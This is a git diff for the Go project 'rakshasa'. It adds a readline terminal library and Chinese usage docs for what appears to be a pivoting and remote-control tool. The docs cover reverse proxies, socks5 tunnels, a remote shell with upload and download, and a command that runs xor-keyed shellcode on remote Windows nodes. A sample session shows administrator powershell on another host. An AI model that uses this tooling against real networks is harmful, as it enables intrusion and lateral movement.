t.cfg.FuncMakeRaw() +} + +func (t *Terminal) ExitRawMode() (err error) { + return t.cfg.FuncExitRaw() +} + +func (t *Terminal) Write(b []byte) (int, error) { + return t.cfg.Stdout.Write(b) +} + +// WriteStdin prefill the next Stdin fetch +// Next time you call ReadLine() this value will be writen before the user input +func (t *Terminal) WriteStdin(b []byte) (int, error) { + return t.cfg.StdinWriter.Write(b) +} + +type termSize struct { + left int + top int +} + +func (t *Terminal) GetOffset(f func(offset string)) { + go func() { + f(<-t.sizeChan) + }() + t.Write([]byte("\033[6n")) +} + +func (t *Terminal) Print(s string) { + fmt.Fprintf(t.cfg.Stdout, "%s", s) +} + +func (t *Terminal) PrintRune(r rune) { + fmt.Fprintf(t.cfg.Stdout, "%c", r) +} + +func (t *Terminal) Readline() *Operation { + return NewOperation(t, t.cfg) +} + +// return rune(0) if meet EOF +func (t *Terminal) ReadRune() rune { + ch, ok := <-t.outchan + if !ok { + return rune(0) + } + return ch +} + +func (t *Terminal) IsReading() bool { + return atomic.LoadInt32(&t.isReading) == 1 +} + +func (t *Terminal) KickRead() { + select { + case t.kickChan <- struct{}{}: + default: + } +} + +func (t *Terminal) ioloop() { + t.wg.Add(1) + defer func() { + t.wg.Done() + close(t.outchan) + }() + + var ( + isEscape bool + isEscapeEx bool + isEscapeSS3 bool + expectNextChar bool + ) + + buf := bufio.NewReader(t.getStdin()) + for { + if !expectNextChar { + atomic.StoreInt32(&t.isReading, 0) + select { + case <-t.kickChan: + atomic.StoreInt32(&t.isReading, 1) + case <-t.stopChan: + return + } + } + expectNextChar = false + r, _, err := buf.ReadRune() + if err != nil { + if strings.Contains(err.Error(), "interrupted system call") { + expectNextChar = true + continue + } + break + } + + if isEscape { + isEscape = false + if r == CharEscapeEx { + // ^][ + expectNextChar = true + isEscapeEx = true + continue + } else if r == CharO { + // ^]O + expectNextChar = true + isEscapeSS3 = true + continue + } + r = escapeKey(r, buf) + } else if isEscapeEx { + isEscapeEx = false + if key := readEscKey(r, buf); key != nil { + r = escapeExKey(key) + // offset + if key.typ == 'R' { + if _, _, ok := key.Get2(); ok { + select { + case t.sizeChan <- key.attr: + default: + } + } + expectNextChar = true + continue + } + } + if r == 0 { + expectNextChar = true + continue + } + } else if isEscapeSS3 { + isEscapeSS3 = false + if key := readEscKey(r, buf); key != nil { + r = escapeSS3Key(key) + } + if r == 0 { + expectNextChar = true + continue + } + } + + expectNextChar = true + switch r { + case CharEsc: + if t.cfg.VimMode { + t.outchan <- r + break + } + isEscape = true + case CharInterrupt, CharEnter, CharCtrlJ, CharDelete: + expectNextChar = false + fallthrough + default: + t.outchan <- r + } + } + +} + +func (t *Terminal) Bell() { + fmt.Fprintf(t, "%c", CharBell) +} + +func (t *Terminal) Close() error { + if atomic.SwapInt32(&t.closed, 1) != 0 { + return nil + } + if closer, ok := t.cfg.Stdin.(io.Closer); ok { + closer.Close() + } + close(t.stopChan) + t.wg.Wait() + return t.ExitRawMode() +} + +func (t *Terminal) GetConfig() *Config { + t.m.Lock() + cfg := *t.cfg + t.m.Unlock() + return &cfg +} + +func (t *Terminal) getStdin() io.Reader { + t.m.Lock() + r := t.cfg.Stdin + t.m.Unlock() + return r +} + +func (t *Terminal) SetConfig(c *Config) error { + if err := c.Init(); err != nil { + return err + } + t.m.Lock() + t.cfg = c + t.m.Unlock() + return nil +} diff --git a/readline/utils.go b/readline/utils.go new file mode 100644 index 0000000..0706dd4 --- /dev/null +++ b/readline/utils.go @@ -0,0 +1,311 @@ +package readline + +import ( + "bufio" + "bytes" + "container/list" + "fmt" + "os" + "os/signal" + "strconv" + "strings" + "sync" + "syscall" + "time" + "unicode" +) + +var ( + isWindows = false +) + +const ( + CharLineStart = 1 + CharBackward = 2 + CharInterrupt = 3 + CharDelete = 4 + CharLineEnd = 5 + CharForward = 6 + CharBell = 7 + CharCtrlH = 8 + CharTab = 9 + CharCtrlJ = 10 + CharKill = 11 + CharCtrlL = 12 + CharEnter = 13 + CharNext = 14 + CharPrev = 16 + CharBckSearch = 18 + CharFwdSearch = 19 + CharTranspose = 20 + CharCtrlU = 21 + CharCtrlW = 23 + CharCtrlY = 25 + CharCtrlZ = 26 + CharEsc = 27 + CharO = 79 + CharEscapeEx = 91 + CharBackspace = 127 +) + +const ( + MetaBackward rune = -iota - 1 + MetaForward + MetaDelete + MetaBackspace + MetaTranspose +) + +// WaitForResume need to call before current process got suspend. +// It will run a ticker until a long duration is occurs, +// which means this process is resumed. +func WaitForResume() chan struct{} { + ch := make(chan struct{}) + var wg sync.WaitGroup + wg.Add(1) + go func() { + ticker := time.NewTicker(10 * time.Millisecond) + t := time.Now() + wg.Done() + for { + now := <-ticker.C + if now.Sub(t) > 100*time.Millisecond { + break + } + t = now + } + ticker.Stop() + ch <- struct{}{} + }() + wg.Wait() + return ch +} + +func Restore(fd int, state *State) error { + err := restoreTerm(fd, state) + if err != nil { + // errno 0 means everything is ok :) + if err.Error() == "errno 0" { + return nil + } else { + return err + } + } + return nil +} + +func IsPrintable(key rune) bool { + isInSurrogateArea := key >= 0xd800 && key <= 0xdbff + return key >= 32 && !isInSurrogateArea +} + +// translate Esc[X +func escapeExKey(key *escapeKeyPair) rune { + var r rune + switch key.typ { + case 'D': + r = CharBackward + case 'C': + r = CharForward + case 'A': + r = CharPrev + case 'B': + r = CharNext + case 'H': + r = CharLineStart + case 'F': + r = CharLineEnd + case '~': + if key.attr == "3" { + r = CharDelete + } + default: + } + return r +} + +// translate EscOX SS3 codes for up/down/etc. +func escapeSS3Key(key *escapeKeyPair) rune { + var r rune + switch key.typ { + case 'D': + r = CharBackward + case 'C': + r = CharForward + case 'A': + r = CharPrev + case 'B': + r = CharNext + case 'H': + r = CharLineStart + case 'F': + r = CharLineEnd + default: + } + return r +} + +type escapeKeyPair struct { + attr string + typ rune +} + +func (e *escapeKeyPair) Get2() (int, int, bool) { + sp := strings.Split(e.attr, ";") + if len(sp) < 2 { + return -1, -1, false + } + s1, err := strconv.Atoi(sp[0]) + if err != nil { + return -1, -1, false + } + s2, err := strconv.Atoi(sp[1]) + if err != nil { + return -1, -1, false + } + return s1, s2, true +} + +func readEscKey(r rune, reader *bufio.Reader) *escapeKeyPair { + p := escapeKeyPair{} + buf := bytes.NewBuffer(nil) + for { + if r == ';' { + } else if unicode.IsNumber(r) { + } else { + p.typ = r + break + } + buf.WriteRune(r) + r, _, _ = reader.ReadRune() + } + p.attr = buf.String() + return &p +} + +// translate EscX to Meta+X +func escapeKey(r rune, reader *bufio.Reader) rune { + switch r { + case 'b': + r = MetaBackward + case 'f': + r = MetaForward + case 'd': + r = MetaDelete + case CharTranspose: + r = MetaTranspose + case CharBackspace: + r = MetaBackspace + case 'O': + d, _, _ := reader.ReadRune() + switch d { + case 'H': + r = CharLineStart + case 'F': + r = CharLineEnd + default: + reader.UnreadRune() + } + case CharEsc: + + } + return r +} + +func SplitByLine(start, screenWidth int, rs []rune) []string { + var ret []string + buf := bytes.NewBuffer(nil) + currentWidth := start + for _, r := range rs { + w := runes.Width(r) + currentWidth += w + buf.WriteRune(r) + if currentWidth >= screenWidth { + ret = append(ret, buf.String()) + buf.Reset() + currentWidth = 0 + } + } + ret = append(ret, buf.String()) + return ret +} + +// calculate how many lines for N character +func LineCount(screenWidth, w int) int { + r := w / screenWidth + if w%screenWidth != 0 { + r++ + } + return r +} + +func IsWordBreak(i rune) bool { + switch { + case i >= 'a' && i <= 'z': + case i >= 'A' && i <= 'Z': + case i >= '0' && i <= '9': + default: + return true + } + return false +} + +func GetInt(s []string, def int) int { + if len(s) == 0 { + return def + } + c, err := strconv.Atoi(s[0]) + if err != nil { + return def + } + return c +} + +type RawMode struct { + state *State +} + +func (r *RawMode) Enter() (err error) { + r.state, err = MakeRaw(GetStdin()) + return err +} + +func (r *RawMode) Exit() error { + if r.state == nil { + return nil + } + return Restore(GetStdin(), r.state) +} + +// ----------------------------------------------------------------------------- + +func sleep(n int) { + Debug(n) + time.Sleep(2000 * time.Millisecond) +} + +// print a linked list to Debug() +func debugList(l *list.List) { + idx := 0 + for e := l.Front(); e != nil; e = e.Next() { + Debug(idx, fmt.Sprintf("%+v", e.Value)) + idx++ + } +} + +// append log info to another file +func Debug(o ...interface{}) { + f, _ := os.OpenFile("debug.tmp", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) + fmt.Fprintln(f, o...) + f.Close() +} + +func CaptureExitSignal(f func()) { + cSignal := make(chan os.Signal, 1) + signal.Notify(cSignal, os.Interrupt, syscall.SIGTERM) + go func() { + for range cSignal { + f() + } + }() +} diff --git a/readline/utils_test.go b/readline/utils_test.go new file mode 100644 index 0000000..96037df --- /dev/null +++ b/readline/utils_test.go @@ -0,0 +1 @@ +package readline diff --git a/readline/utils_unix.go b/readline/utils_unix.go new file mode 100644 index 0000000..fc49492 --- /dev/null +++ b/readline/utils_unix.go @@ -0,0 +1,83 @@ +// +build aix darwin dragonfly freebsd linux,!appengine netbsd openbsd os400 solaris + +package readline + +import ( + "io" + "os" + "os/signal" + "sync" + "syscall" +) + +type winsize struct { + Row uint16 + Col uint16 + Xpixel uint16 + Ypixel uint16 +} + +// SuspendMe use to send suspend signal to myself, when we in the raw mode. +// For OSX it need to send to parent's pid +// For Linux it need to send to myself +func SuspendMe() { + p, _ := os.FindProcess(os.Getppid()) + p.Signal(syscall.SIGTSTP) + p, _ = os.FindProcess(os.Getpid()) + p.Signal(syscall.SIGTSTP) +} + +// get width of the terminal +func getWidth(stdoutFd int) int { + cols, _, err := GetSize(stdoutFd) + if err != nil { + return -1 + } + return cols +} + +func GetScreenWidth() int { + w := getWidth(syscall.Stdout) + if w < 0 { + w = getWidth(syscall.Stderr) + } + return w +} + +// ClearScreen clears the console screen +func ClearScreen(w io.Writer) (int, error) { + return w.Write([]byte("\033[H")) +} + +func DefaultIsTerminal() bool { + return IsTerminal(syscall.Stdin) && (IsTerminal(syscall.Stdout) || IsTerminal(syscall.Stderr)) +} + +func GetStdin() int { + return syscall.Stdin +} + +// ----------------------------------------------------------------------------- + +var ( + widthChange sync.Once + widthChangeCallback func() +) + +func DefaultOnWidthChanged(f func()) { + widthChangeCallback = f + widthChange.Do(func() { + ch := make(chan os.Signal, 1) + signal.Notify(ch, syscall.SIGWINCH) + + go func() { + for { + _, ok := <-ch + if !ok { + break + } + widthChangeCallback() + } + }() + }) +} diff --git a/readline/utils_windows.go b/readline/utils_windows.go new file mode 100644 index 0000000..5bfa55d --- /dev/null +++ b/readline/utils_windows.go @@ -0,0 +1,41 @@ +// +build windows + +package readline + +import ( + "io" + "syscall" +) + +func SuspendMe() { +} + +func GetStdin() int { + return int(syscall.Stdin) +} + +func init() { + isWindows = true +} + +// get width of the terminal +func GetScreenWidth() int { + info, _ := GetConsoleScreenBufferInfo() + if info == nil { + return -1 + } + return int(info.dwSize.x) +} + +// ClearScreen clears the console screen +func ClearScreen(_ io.Writer) error { + return SetConsoleCursorPosition(&_COORD{0, 0}) +} + +func DefaultIsTerminal() bool { + return true +} + +func DefaultOnWidthChanged(func()) { + +} diff --git a/readline/vim.go b/readline/vim.go new file mode 100644 index 0000000..bedf2c1 --- /dev/null +++ b/readline/vim.go @@ -0,0 +1,176 @@ +package readline + +const ( + VIM_NORMAL = iota + VIM_INSERT + VIM_VISUAL +) + +type opVim struct { + cfg *Config + op *Operation + vimMode int +} + +func newVimMode(op *Operation) *opVim { + ov := &opVim{ + cfg: op.cfg, + op: op, + } + ov.SetVimMode(ov.cfg.VimMode) + return ov +} + +func (o *opVim) SetVimMode(on bool) { + if o.cfg.VimMode && !on { // turn off + o.ExitVimMode() + } + o.cfg.VimMode = on + o.vimMode = VIM_INSERT +} + +func (o *opVim) ExitVimMode() { + o.vimMode = VIM_INSERT +} + +func (o *opVim) IsEnableVimMode() bool { + return o.cfg.VimMode +} + +func (o *opVim) handleVimNormalMovement(r rune, readNext func() rune) (t rune, handled bool) { + rb := o.op.buf + handled = true + switch r { + case 'h': + t = CharBackward + case 'j': + t = CharNext + case 'k': + t = CharPrev + case 'l': + t = CharForward + case '0', '^': + rb.MoveToLineStart() + case '$': + rb.MoveToLineEnd() + case 'x': + rb.Delete() + if rb.IsCursorInEnd() { + rb.MoveBackward() + } + case 'r': + rb.Replace(readNext()) + case 'd': + next := readNext() + switch next { + case 'd': + rb.Erase() + case 'w': + rb.DeleteWord() + case 'h': + rb.Backspace() + case 'l': + rb.Delete() + } + case 'p': + rb.Yank() + case 'b', 'B': + rb.MoveToPrevWord() + case 'w', 'W': + rb.MoveToNextWord() + case 'e', 'E': + rb.MoveToEndWord() + case 'f', 'F', 't', 'T': + next := readNext() + prevChar := r == 't' || r == 'T' + reverse := r == 'F' || r == 'T' + switch next { + case CharEsc: + default: + rb.MoveTo(next, prevChar, reverse) + } + default: + return r, false + } + return t, true +} + +func (o *opVim) handleVimNormalEnterInsert(r rune, readNext func() rune) (t rune, handled bool) { + rb := o.op.buf + handled = true + switch r { + case 'i': + case 'I': + rb.MoveToLineStart() + case 'a': + rb.MoveForward() + case 'A': + rb.MoveToLineEnd() + case 's': + rb.Delete() + case 'S': + rb.Erase() + case 'c': + next := readNext() + switch next { + case 'c': + rb.Erase() + case 'w': + rb.DeleteWord() + case 'h': + rb.Backspace() + case 'l': + rb.Delete() + } + default: + return r, false + } + + o.EnterVimInsertMode() + return +} + +func (o *opVim) HandleVimNormal(r rune, readNext func() rune) (t rune) { + switch r { + case CharEnter, CharInterrupt: + o.ExitVimMode() + return r + } + + if r, handled := o.handleVimNormalMovement(r, readNext); handled { + return r + } + + if r, handled := o.handleVimNormalEnterInsert(r, readNext); handled { + return r + } + + // invalid operation + o.op.t.Bell() + return 0 +} + +func (o *opVim) EnterVimInsertMode() { + o.vimMode = VIM_INSERT +} + +func (o *opVim) ExitVimInsertMode() { + o.vimMode = VIM_NORMAL +} + +func (o *opVim) HandleVim(r rune, readNext func() rune) rune { + if o.vimMode == VIM_NORMAL { + return o.HandleVimNormal(r, readNext) + } + if r == CharEsc { + o.ExitVimInsertMode() + return 0 + } + + switch o.vimMode { + case VIM_INSERT: + return r + case VIM_VISUAL: + } + return r +} diff --git a/readline/windows_api.go b/readline/windows_api.go new file mode 100644 index 0000000..63f4f7b --- /dev/null +++ b/readline/windows_api.go @@ -0,0 +1,152 @@ +// +build windows + +package readline + +import ( + "reflect" + "syscall" + "unsafe" +) + +var ( + kernel = NewKernel() + stdout = uintptr(syscall.Stdout) + stdin = uintptr(syscall.Stdin) +) + +type Kernel struct { + SetConsoleCursorPosition, + SetConsoleTextAttribute, + FillConsoleOutputCharacterW, + FillConsoleOutputAttribute, + ReadConsoleInputW, + GetConsoleScreenBufferInfo, + GetConsoleCursorInfo, + GetStdHandle CallFunc +} + +type short int16 +type word uint16 +type dword uint32 +type wchar uint16 + +type _COORD struct { + x short + y short +} + +func (c *_COORD) ptr() uintptr { + return uintptr(*(*int32)(unsafe.Pointer(c))) +} + +const ( + EVENT_KEY = 0x0001 + EVENT_MOUSE = 0x0002 + EVENT_WINDOW_BUFFER_SIZE = 0x0004 + EVENT_MENU = 0x0008 + EVENT_FOCUS = 0x0010 +) + +type _KEY_EVENT_RECORD struct { + bKeyDown int32 + wRepeatCount word + wVirtualKeyCode word + wVirtualScanCode word + unicodeChar wchar + dwControlKeyState dword +} + +// KEY_EVENT_RECORD KeyEvent; +// MOUSE_EVENT_RECORD MouseEvent; +// WINDOW_BUFFER_SIZE_RECORD WindowBufferSizeEvent; +// MENU_EVENT_RECORD MenuEvent; +// FOCUS_EVENT_RECORD FocusEvent; +type _INPUT_RECORD struct { + EventType word + Padding uint16 + Event [16]byte +} + +type _CONSOLE_SCREEN_BUFFER_INFO struct { + dwSize _COORD + dwCursorPosition _COORD + wAttributes word + srWindow _SMALL_RECT + dwMaximumWindowSize _COORD +} + +type _SMALL_RECT struct { + left short + top short + right short + bottom short +} + +type _CONSOLE_CURSOR_INFO struct { + dwSize dword + bVisible bool +} + +type CallFunc func(u ...uintptr) error + +func NewKernel() *Kernel { + k := &Kernel{} + kernel32 := syscall.NewLazyDLL("kernel32.dll") + v := reflect.ValueOf(k).Elem() + t := v.Type() + for i := 0; i < t.NumField(); i++ { + name := t.Field(i).Name + f := kernel32.NewProc(name) + v.Field(i).Set(reflect.ValueOf(k.Wrap(f))) + } + return k +} + +func (k *Kernel) Wrap(p *syscall.LazyProc) CallFunc { + return func(args ...uintptr) error { + var r0 uintptr + var e1 syscall.Errno + size := uintptr(len(args)) + if len(args) <= 3 { + buf := make([]uintptr, 3) + copy(buf, args) + r0, _, e1 = syscall.Syscall(p.Addr(), size, + buf[0], buf[1], buf[2]) + } else { + buf := make([]uintptr, 6) + copy(buf, args) + r0, _, e1 = syscall.Syscall6(p.Addr(), size, + buf[0], buf[1], buf[2], buf[3], buf[4], buf[5], + ) + } + + if int(r0) == 0 { + if e1 != 0 { + return error(e1) + } else { + return syscall.EINVAL + } + } + return nil + } + +} + +func GetConsoleScreenBufferInfo() (*_CONSOLE_SCREEN_BUFFER_INFO, error) { + t := new(_CONSOLE_SCREEN_BUFFER_INFO) + err := kernel.GetConsoleScreenBufferInfo( + stdout, + uintptr(unsafe.Pointer(t)), + ) + return t, err +} + +func GetConsoleCursorInfo() (*_CONSOLE_CURSOR_INFO, error) { + t := new(_CONSOLE_CURSOR_INFO) + err := kernel.GetConsoleCursorInfo(stdout, uintptr(unsafe.Pointer(t))) + return t, err +} + +func SetConsoleCursorPosition(c *_COORD) error { + return kernel.SetConsoleCursorPosition(stdout, c.ptr()) +} diff --git a/readme/bind.md b/readme/bind.md new file mode 100644 index 0000000..591a91a --- /dev/null +++ b/readme/bind.md @@ -0,0 +1,33 @@ +[主菜单](./shell.md) + +### new-bind + +从指定节点启动端口监听tcp请求,通过本节点连接到指定ip端口,反向代理 + +使用方法 new-bind ip:port,remote_ip:remote_port 目标节点 +如 new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba + +注意:与connect相反,从右往左连接,如上面例子,远程节点监听0.0.0.0:88,并将所有连接通过本节点发送到192.168.1.180:8808 + +### list + +打印出当前bind连接情况 + +### close + +关掉一个bind + +使用方法,先使用list获得当前执行的bind的id,再执行 close id + + + +```shell +rakshasa>bind +rakshasa\bind>new-bind 192.168.1.180:8808,0.0.0.0:88 44b5b521-719c-4e2b-b069-ad176d8d88ba +bind 启动成功 +rakshasa\bind>list +当前连接数量: 1 +ID 1 本地端口 192.168.1.180:8808 远程端口 0.0.0.0:88 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba +rakshasa\bind>close 1 +rakshasa\bind> +``` diff --git a/readme/cli.md b/readme/cli.md new file mode 100644 index 0000000..fd56828 --- /dev/null +++ b/readme/cli.md @@ -0,0 +1,43 @@ +## 目录 + + + +- [connect](./connect.md): 端口代理,本节点监听端口,并通过出口节点连接到指定的ip端口. +- [bind](./bind.md): 反向代理,出口节点监听端口,通过本节点连接到ip端口. +- [socks5](./socks5.md): socks5代理,本节点启动socks5代理,通过出口节点连接目标. +- [remotesocks5](./remotesocks5.md): 反向socks5代理,目标节点启动socks5,并通过本节点连接目标. +- [http](./http.md): http代理,本节点启动http代理,通过出口节点连接目标. +- [remoteshell](./remoteshell.md): 远程shell. +- [shellcode](./shellcode.md): windows执行shellcode,linux未实现. +- [config](./config.md): 配置管理. + + + +所有子功能目录下都可以执行下面三个方法 +可以通过输入首字母+tab进行自动补全 + +### new +连接一个新的服务器,参数必须是ip:port + +### print +打印出已连接的节点 + +### ping +尝试对节点发送ping,并输出收到pong一共需要的时间 + +使用方法,ping id/uuid/ip:port + +```shell +rakshasa>new 192.168.1.137:8884 +rakshasa>print +ID UUID HostName GOOS IP listenIP +----------------------------------------------------------------------------------------------------------------------------- + 1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883 + 2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 +rakshasa>ping 2 +ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s +rakshasa>ping 44b5b521-719c-4e2b-b069-ad176d8d88ba +ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s +rakshasa>ping 192.168.1.137:8884 +ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s +``` \ No newline at end of file diff --git a/readme/config.md b/readme/config.md new file mode 100644 index 0000000..eb82cbe --- /dev/null +++ b/readme/config.md @@ -0,0 +1,79 @@ +[主菜单](./shell.md) + +## yaml文件例子,保存在启动目录下 + +``` +dstnode: +- 192.168.1.180:8883 +password: "" +port: 8883 +listenip: +- 192.168.1.151 +limit: false +filename: config.yaml +``` + +#### 如果有启动参数将会覆盖掉yaml配置,如-d会覆盖掉dstnode + +- dstnode 目标服务器 对应启动参数:-d +- password 传输秘钥 对应启动参数:-password +- port 本节点监听端口 对应启动参数:-p +- listenip 本节点监听ip 其他节点断线后,将会尝试连接此ip与上述端口,通过使用-limit来关闭额外连接功能 +- limit 为true时候,除了目标服务器不会进行额外连接。默认为false,节点断线后,将会自动尝试连接所有以连接过的节点ip port。 +- filename 配置文件名字,控制台save时候保存 + +## shell使用说明 + +### save + + 修改的内容不会立刻写入文件,必须通过执行save之后才会保存到filename + +### d + + 修改yaml的dstnode,使用方法 d 192.168.1.1:8883,192.168.1.2:8883 + +### password + + 修改yaml的password,使用方法 password "asdlkj" 解析双引号里面内容,结果不带双引号,参数可以不包含双引号,如果需要使用双引号请输入\\" + +### port + +修改yaml的port + +### ip + +修改yaml的listenip,可以配置多个ip,以,隔开 + +### limit + +修改yaml的limit + +### f + +修改yaml的filename + + + +```shell +rakshasa>config +rakshasa\config>help + +Commands: + clear clear the screen + d 修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址 + exit exit the program + f 修改配置文件名,使用方法 f config.yaml + help display help + info 打印当前配置 + ip 修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开 + limit 修改本节点Limit设置,使用方法 limit true + new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082 + password 修改通讯密码,立即生效 + ping ping 节点 + port 修改监听端口,立即生效 + print 列出所有节点 + save 保存文件 + + +rakshasa\config> +``` diff --git a/readme/connect.md b/readme/connect.md new file mode 100644 index 0000000..090754c --- /dev/null +++ b/readme/connect.md @@ -0,0 +1,32 @@ +[主菜单](./shell.md) + +### new-connect + +从本机监听一个tcp端口,将请求转发到 目标节点连接到指定ip:port,正向tcp代理 + +使用方法 new-connect ip:port,remote_ip:remote_port 目标节点 +如 new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba + +注:连接方向从左往右,如上例子,从本节点监听0.0.0.0:88,并将连接请求通过目标节点发送到192.168.1.180:8808 + +### list + +打印出当前connect连接情况 + +### close + +关掉一个connect + +使用方法,先使用list获得当前执行的connect的id,再执行 close id + + + +```shell +rakshasa>connect +rakshasa\connect>new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba +connect连接 44b5b521-719c-4e2b-b069-ad176d8d88ba 成功 +rakshasa\connect>list +当前连接数量: 1 +ID 2 本地端口 0.0.0.0:88 远程端口 192.168.1.180:8808 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba +rakshasa\connect>close 2 +``` \ No newline at end of file diff --git a/readme/http.md b/readme/http.md new file mode 100644 index 0000000..c3ad00a --- /dev/null +++ b/readme/http.md @@ -0,0 +1,31 @@ +[主菜单](./shell.md) + +### new-httpproxy + +新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件路径,如果远程节点为空,则为本地直接连 +如 + +new-httpproxy admin:123456@0.0.0.0:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt +new-httpproxy 8080 out.txt + + + +### list +打印出当前http监听情况 + +### close +关掉一个http监听 + +使用方法,先使用list获得当前执行的http的id,再执行 close id + +```shell +rakshasa>httpproxy +rakshasa\httpproxy>new-httpproxy 8080 +httpproxy start :8080 +本地httpProxy启动成功 +rakshasa\httpproxy>list +当前连接数量: 1 +ID 1 本地端口 :8080 转发服务器uuid 6268846f-f93e-4525-ad5c-ed6b3b773478 +rakshasa\httpproxy>close 1 +rakshasa\httpproxy> +``` \ No newline at end of file diff --git a/readme/remoteshell.md b/readme/remoteshell.md new file mode 100644 index 0000000..9db875c --- /dev/null +++ b/readme/remoteshell.md @@ -0,0 +1,56 @@ +[主菜单](./shell.md) + +### file +使用方法file 节点,如file 1,进入节点后可用cd,dir,upload,download命令 +- cd 切换远程工作目录 +- dir 列出当前目录下文件和文件夹信息 +- upload 上传文件,两个参数,参数二可为空,用法:upload 本地文件目录 远程目录(为空传到工作目录) +- download 下载文件,两个参数,参数二可为空,用法:download 远程文件 本地目录(为空本地执行目录) + +```shell +rakshasa>remoteshell +rakshasa\remoteshell>file +参数错误 +rakshasa\remoteshell>print +ID UUID HostName GOOS IP listenIP +----------------------------------------------------------------------------------------------------------------------------- + 1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883 + 2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 +rakshasa\remoteShell>file 2 +4b5b521-719c-4e2b-b069-ad176d8d88ba d:/>help + +Commands: + cd 切换工作目录 + clear clear the screen + dir 打印当前目录文件 + download 下载文件 ,download 远程文件 本地目录(为空本地执行目录) + exit exit the program + help display help + upload 上传文件 ,upload 本地文件 远程目录(为空传到工作目录) + + +44b5b521-719c-4e2b-b069-ad176d8d88ba d:/> +``` + +### shell +使用方法shell 节点 启动参数,如shell 1 powershell。启动参数可为空 + +windows下默认启动cmd + +linux下默认启动bash,如启动失败可尝试改为/bin/sh或者/bin/zsh等 + +```shell +rakshasa\remoteshell>shell 2 powershell +Windows PowerShell +版权所有 (C) Microsoft Corporation。保留所有权利。 + +尝试新的跨平台 PowerShell https://aka.ms/pscore6 + + +PS D:\> whoami +desktop-daai4f1\administrator + +PS D:\> exit +请按回车键退出 +rakshasa\remoteshell> +``` \ No newline at end of file diff --git a/readme/remotesocks5.md b/readme/remotesocks5.md new file mode 100644 index 0000000..7c1176f --- /dev/null +++ b/readme/remotesocks5.md @@ -0,0 +1,38 @@ +[主菜单](./shell.md) + +### new-remotesocks5 + +远程节点启动socks5代理,通过本节点连接到指定目标 + +使用方法 new-remotesocks5 port 目标节点 +如 new-remotesocks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9 + +注:与socks5相反,是远程目标节点开启socks5,通过本节点转发输出 + +### list + +打印出当前remoteSocks5连接情况 + +### close + +关掉一个remoteSocks5 + +使用方法,先使用list获得当前执行的remoteSocks5的id,再执行 close id + + + +```shell +rakshasa>remotesocks5 +rakshasa\remotesocks5>print +ID UUID HostName GOOS IP listenIP +----------------------------------------------------------------------------------------------------------------------------- + 1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883 + 2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 +rakshasa\remotesocks5>new-remotesocks5 1080 2 +节点 2 配置信息, 1080 ,启动socks5 到 本节点 成功 +rakshasa\remotesocks5>list +当前连接数量: 1 +ID 1 本地端口 远程端口 :1080 服务器uuid e309f028-84ae-4452-88ab-83f1deab0cf4 +rakshasa\remotesocks5>close 1 +rakshasa\remotesocks5> +``` \ No newline at end of file diff --git a/readme/shellcode.md b/readme/shellcode.md new file mode 100644 index 0000000..b5cc2b3 --- /dev/null +++ b/readme/shellcode.md @@ -0,0 +1,4 @@ +[主菜单](./shell.md) + +### run +运行shellcode,参数一为目标节点(可以为本机),参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为shellcode运行等待时间 diff --git a/readme/socks5.md b/readme/socks5.md new file mode 100644 index 0000000..49faf9c --- /dev/null +++ b/readme/socks5.md @@ -0,0 +1,34 @@ +[主菜单](./shell.md) + +### new-socks5 +以本地socks5代理服务端模式运行,通过远程节点转发代理连接到指定目标,如果远程节点为空,则为本地直接连 + +使用方法 new-socks5 port 目标节点 +如 new-socks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9 + + + +### list +打印出当前socks5连接情况 + +### close +关掉一个socks5 + +使用方法,先使用list获得当前执行的socks5的id,再执行 close id + +```shell +rakshasa>socks5 +rakshasa\socks5>print +ID UUID HostName GOOS IP listenIP +----------------------------------------------------------------------------------------------------------------------------- + 1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883 + 2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884 +rakshasa\socks5>new-socks5 2 +socks5 start :2 +本地socks5启动成功 +rakshasa\socks5>list +当前监听端口数量: 1 +ID 2 本地监听端口 :2 转发服务器uuid c105b8d2-77c7-462d-b0da-6d9785f77234 +rakshasa\socks5>close 2 +rakshasa\socks5> +``` \ No newline at end of file diff --git a/server/cli.go b/server/cli.go new file mode 100644 index 0000000..c64175c --- /dev/null +++ b/server/cli.go @@ -0,0 +1,111 @@ +package server + +import ( + "rakshasa/common" + "strings" + "time" + + "github.com/luyu6056/ishell" +) + +var rootCli = cliInit() + +func CliRun() { + rootCli.Run() +} +func init() { + rootCli.SetPrompt("rakshasa>") +} +func cliInit() *ishell.Shell { + shell := ishell.New() + shell.AddCmd(&ishell.Cmd{ + Name: "ping", + Help: "ping 节点", + Func: 